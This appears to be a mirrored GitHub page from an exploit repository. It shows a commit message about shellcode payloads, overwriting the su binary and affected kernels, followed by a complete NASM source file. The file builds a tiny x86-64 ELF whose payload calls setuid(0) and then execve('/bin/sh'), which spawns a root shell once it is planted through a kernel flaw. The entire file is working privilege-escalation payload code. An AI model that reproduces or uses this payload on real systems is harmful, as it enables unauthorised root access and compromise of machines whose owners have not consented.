mirror of
https://github.com/badsectorlabs/copyfail-go.git
synced 2026-05-16 14:38:09 +00:00
131f7d1842
- Added new shellcode payloads for exec-argv1 and exec-bin-sh for amd64, i386, and aarch64 architectures. - Introduced a backup feature for the su binary before overwriting it. - Enhanced README.md with usage instructions and details about affected kernels. - Added build-n-print.sh script for building and printing payloads in hex format.
56 lines
No EOL
1.6 KiB
NASM
56 lines
No EOL
1.6 KiB
NASM
BITS 64
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org 0x400000
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; --- 64-bit ELF Header ---
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ehdr:
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db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0
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dw 2 ; e_type: Executable
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dw 0x3e ; e_machine: x86-64
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dd 1 ; e_version
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dq _start ; e_entry
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dq phdr - ehdr ; e_phoff (offset to program header)
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dq 0 ; e_shoff
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dd 0 ; e_flags
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dw 64 ; e_ehsize (ELF header size)
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dw 56 ; e_phentsize (Program header size)
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dw 1 ; e_phnum (Number of program headers)
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dw 0 ; e_shentsize
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dw 0 ; e_shnum
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dw 0 ; e_shstrndx
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; --- Program Header (PT_LOAD) ---
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phdr:
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dd 1 ; p_type: PT_LOAD
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dd 5 ; p_flags: PF_R | PF_X (Read + Execute)
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dq 0 ; p_offset
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dq 0x400000 ; p_vaddr
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dq 0x400000 ; p_paddr
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dq file_end - ehdr ; p_filesz
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dq file_end - ehdr ; p_memsz
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dq 0x1000 ; p_align
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; --- Payload ---
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_start:
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; setuid(0)
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xor eax, eax
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xor edi, edi
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mov al, 0x69
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syscall
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; execve("/bin/sh", NULL, NULL)
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lea rdi, [rel sh] ; 48 8d 3d 0f 00 00 00 rdi -> "/bin/sh"
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xor esi, esi ; 31 f6 rsi = 0 (argv = NULL)
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push 0x3b ; 6a 3b push SYS_execve
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pop rax ; 58 rax = 59
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cdq ; 99 rdx = 0 (envp = NULL)
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syscall ; 0f 05 execve("/bin/sh", 0, 0)
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; exit(0)
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xor edi, edi
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push 0x3c
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pop rax
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syscall
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sh: db "/bin/sh", 0
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file_end: |